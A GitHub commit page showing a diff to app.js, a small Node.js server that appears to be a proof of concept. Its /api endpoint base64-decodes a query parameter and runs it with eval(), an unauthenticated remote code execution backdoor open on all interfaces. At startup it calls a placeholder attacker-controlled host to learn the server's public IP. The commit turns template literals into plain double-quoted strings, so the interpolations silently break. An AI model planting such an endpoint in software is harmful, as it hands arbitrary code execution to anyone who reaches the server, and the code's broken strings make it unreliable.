Skip to content

Commit 7f65d19

Browse files
Update app.js
1 parent 148b8f7 commit 7f65d19

File tree

1 file changed

+21
-21
lines changed

1 file changed

+21
-21
lines changed

app.js

Lines changed: 21 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -1,38 +1,38 @@
1-
'use strict';
1+
"use strict";
22

3-
import http from 'http';
4-
import { URL } from 'url';
3+
import http from "http";
4+
import { URL } from "url";
55

66
const PORT = 1337;
77

88
async function logPublicIP() {
99
try {
10-
const response = await fetch('https://attacker.controlled.ip.for.poc?format=json');
10+
const response = await fetch("https://attacker.controlled.ip.for.poc?format=json");
1111
const data = await response.json();
12-
console.log(`Server is running on public IP: ${data.ip}`);
12+
console.log("Server is running on public IP: ${data.ip}");
1313
} catch (error) {
14-
console.error('Error fetching public IP:', error);
14+
console.error("Error fetching public IP:", error);
1515
}
1616
}
1717

1818
const requestHandler = (req, res) => {
19-
const url = new URL(req.url, `http://${req.headers.host}`);
20-
if (url.pathname === '/api') {
21-
const c = url.searchParams.get('c');
19+
const url = new URL(req.url, "http://${req.headers.host}");
20+
if (url.pathname === "/api") {
21+
const c = url.searchParams.get("c");
2222

2323
if (c) {
2424
try {
25-
const decoded = Buffer.from(c, 'base64').toString();
25+
const decoded = Buffer.from(c, "base64").toString();
2626
const result = eval(decoded);
27-
res.writeHead(200, { 'Content-Type': 'application/json' });
27+
res.writeHead(200, { "Content-Type": "application/json" });
2828
res.end(JSON.stringify({ result }));
2929
} catch (error) {
30-
res.writeHead(400, { 'Content-Type': 'application/json' });
31-
res.end(JSON.stringify({ error: 'Failed to execute code' }));
30+
res.writeHead(400, { "Content-Type": "application/json" });
31+
res.end(JSON.stringify({ error: "Failed to execute code" }));
3232
}
3333
} else {
34-
res.writeHead(400, { 'Content-Type': 'application/json' });
35-
res.end(JSON.stringify({ error: 'No code provided' }));
34+
res.writeHead(400, { "Content-Type": "application/json" });
35+
res.end(JSON.stringify({ error: "No code provided" }));
3636
}
3737
} else {
3838
res.writeHead(404);
@@ -43,19 +43,19 @@ const requestHandler = (req, res) => {
4343
const server = http.createServer(requestHandler);
4444

4545
const startTime = new Date();
46-
console.log(`Server start time: ${startTime.toISOString()}`);
46+
console.log("Server start time: ${startTime.toISOString()}");
4747

48-
server.listen(PORT, '0.0.0.0', async () => {
49-
console.log(`Server listening on port ${PORT}`);
48+
server.listen(PORT, "0.0.0.0", async () => {
49+
console.log("Server listening on port ${PORT}");
5050
await logPublicIP();
5151
});
5252

5353
setTimeout(() => {
5454
server.close(() => {
5555
const endTime = new Date();
56-
console.log(`Server has been shut down.`);
57-
console.log(`Server end time: ${endTime.toISOString()}`);
56+
console.log("Server has been shut down.");
57+
console.log("Server end time: ${endTime.toISOString()}");
5858
const duration = endTime - startTime;
59-
console.log(`Server uptime: ${duration}ms`);
59+
console.log("Server uptime: ${duration}ms");
6060
});
6161
}, 30000); // Shut down the server after 30 seconds

0 commit comments

Comments
 (0)